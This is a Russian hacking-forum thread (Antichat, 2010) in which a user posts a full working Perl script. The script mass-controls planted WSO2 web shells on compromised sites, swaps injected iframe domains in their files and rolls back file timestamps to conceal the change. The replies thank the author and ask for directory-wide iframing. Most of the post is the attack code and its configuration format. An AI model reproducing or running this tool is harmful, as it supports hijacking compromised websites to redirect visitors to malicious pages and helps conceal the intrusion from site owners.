ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

WSO2 iframe changer
  #1  
Старый 25.02.2010, 22:36
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию WSO2 iframe changer

WSO2 iframe changer

PERL-скрипт

Исключительно для WSO2

https://forum.antichat.net/threadnav103155-1-10.html

Делал для себя, испытан в боевых условиях, для тех, у кого нет TDS или проблемы с TDS или еще что, в общем оно может:

1. Многопоточный

2. Код шелла никак не трогается - можете работать сразу с вашими

3. Принцип работы - меняет старый фрейм в определенном файле на новый (или любой другой текст, на ваше усмотрение)

4. Поддерживаются как шеллы с паролем, так и без

5. Алгоритм - все делается через один POST запрос (т.е. имитация вашей работы в шелле) через PHP-код - предусмотрено возможностями шелла

6. Timeback(*nix/win) - наконец-то все делается автоматически! Речь идет о времени изменения файла. Т.е. сначала берется текущее время файла (тем самым вы уже избавлены от проверки изменения времени файла после вмешательства в его структуру), вносятся изменения и затем происходит откат времени.

7. Возможность вести логи по каждому файлу на каждом хосте, или отключить их ведения (необходимо в тестовом режиме), скрин лога по одному файлу :



8. Возможность выставить кодировку.

9. Файл настроек - сам код + файл shells.txt
С кодом все просто, файл shells.txt (пример):

localhost|/denwer/wso2.php|root|Z:/denwer/www/denwer/i/|1.txt
localhost|/denwer/wso2.php|root|Z:/denwer/www/denwer/i/|2.txt

1) все параметры разделяются с помощью "|"

1-й параметр: - хост, где ваш шелл
2-й параметр: - путь до шелла относительно хоста (всегда начинается с "/")
3-й параметр: - пароль на шелл
4-й параметр: - абсолютный путь до файла с фреймом (в конце обязательно слеш)
5-й параметр: - имя файла

2) новый файл/хост - просто с новой строчки

10. Ну и наконец сам код:
Код:
#!/usr/bin/perl - UTF-8 encoding
################################################################################################################
#      WSO2 iframe changer by Pashkela [BugTrack Team] © 2010                                                  #
################################################################################################################
use IO::Socket;
use threads;
use threads::shared;
my $num : shared;
################################################################################################################
#   Настройки                                                                                                  #
################################################################################################################
$shells = 'shells.txt'; # файл с настройками
$kol_threads = 10; # Кол-во потоков
$timeout = 10; # таймаут в секундах
$log = 1; # Вести логи по каждому файлу, 1 = true, 0 = false
$old = '123'; # что меняем
$new = 'some_new'; # на что меняем
$charset = 'UTF-8'; # кодировка
################################################################################################################
open(FILE, "<", $shells);
while(<FILE>) {
    chomp;
    if($_) {push(@shells, $_)}
}
close(FILE);
$size = @shells;
################################################################################################################
if ($size < 10) {
   $thr = $size; 
} else {
   $thr = $kol_threads; 
}
$num = -1; # Не меняется
for(0..$thr) {
    $trl[$_] = threads->create(\&gets);
}
for(0..$thr) {
    $trl[$_]->join;
}
sub gets {
    $| = 1; 
	while ($num < $size) {
        { lock($num);
        $num++; }
		($shell_host,$shell_path,$pass,$path_to_frame_file,$file) = split(/\|/,$shells[$num]);
        $code = '$time_file=filemtime("'. $path_to_frame_file . $file .'");$content=file_get_contents("' . $path_to_frame_file . $file . '");$content = str_replace("' . $old . '","' .  $new . '", $content);file_put_contents("' . $path_to_frame_file . $file . '",$content);touch("' . $path_to_frame_file . $file . '", $time_file);';
		frame(); 
    }
	print $num . "\r";
}
sub req {
	my($host, $path, $type, $data) = @_;
    my $sock = new IO::Socket::INET(
			PeerAddr  => $host,
			PeerPort  => 80,
			PeerProto => 'tcp',
			TimeOut   => $timeout);
    my $request = "$type $path HTTP/1.1\n".
    "Host: $host\n";
     $request .= "Content-type: application/x-www-form-urlencoded\n".
       "Content-Length: ".length($data)."\n\n".$data;
    print $sock $request;
    my $answ = undef;
    while(my $buf = <$sock>) {
        $answ .= $buf;
    }
    return $answ;
}
sub frame {
    $answ2 = req($shell_host, $shell_path, 'POST', "pass=$pass&a=Php&c=$path_to_frame_file&p1=$code&p2=&p3=&charset=$charset");  
       print "HOST: [" . $shell_host . "]\n";
	   print "File: [" . $path_to_frame_file . $file . "]...[+]\n";
       print "-----------------------------------------------------------------------------------\n";
	   if ($log == 1) {
	       open( FILE, ">>" . "z_"  . $shell_host . "_" . $file . ".html" ); # Файл для записи результатов
   	       print FILE "==========================================================================\n";
		   print FILE $answ2;
		   close (FILE);
       }
}
PS: Предварительно настоятельно рекомендуется потестить локально. Замечания, критика и пожелания принимаются. Планету хакерам.

PPSS: обычно что? Правильно, меняется только домен, в итоге:

$old = 'старый_домен'; # что меняем
$new = 'новый_домен'; # на что меняем

Последний раз редактировалось Pashkela; 25.02.2010 в 23:19..
 
Ответить с цитированием

  #2  
Старый 25.02.2010, 23:38
Аватар для shell_c0de
shell_c0de
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404

Репутация: 564
Отправить сообщение для shell_c0de с помощью ICQ Отправить сообщение для shell_c0de с помощью AIM
По умолчанию

Нужная прожка ) хорошо что скриптеГ а то если бы приложение и со стучалко то ))
протестим ща...
 
Ответить с цитированием

  #3  
Старый 27.02.2010, 21:33
Аватар для daniel_1024
daniel_1024
Участник форума
Регистрация: 15.07.2009
Сообщений: 158
Провел на форуме:
698831

Репутация: 34
По умолчанию

можешь сделать чтобы он ифреймил определенную директорию?
 
Ответить с цитированием

  #4  
Старый 27.02.2010, 22:07
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

все файлы? жесть. Ты наверное путаешь с ftp_iframer
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SANYO выпустила первые камеры с поддержкой iFrame aim Новости мира "железа" 0 14.10.2009 19:46
Вопросы Iframe UnOuter PHP, PERL, MySQL, JavaScript 4 01.09.2009 21:22
RooT [iFRAME]'R - скрипт для вставки iframe JANE Разное - Покупка, продажа, обмен 20 18.02.2007 04:19
Скрипт проверки фтп на валидность и вставка iframe WaVeZ Разное - Покупка, продажа, обмен 1 10.10.2006 22:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ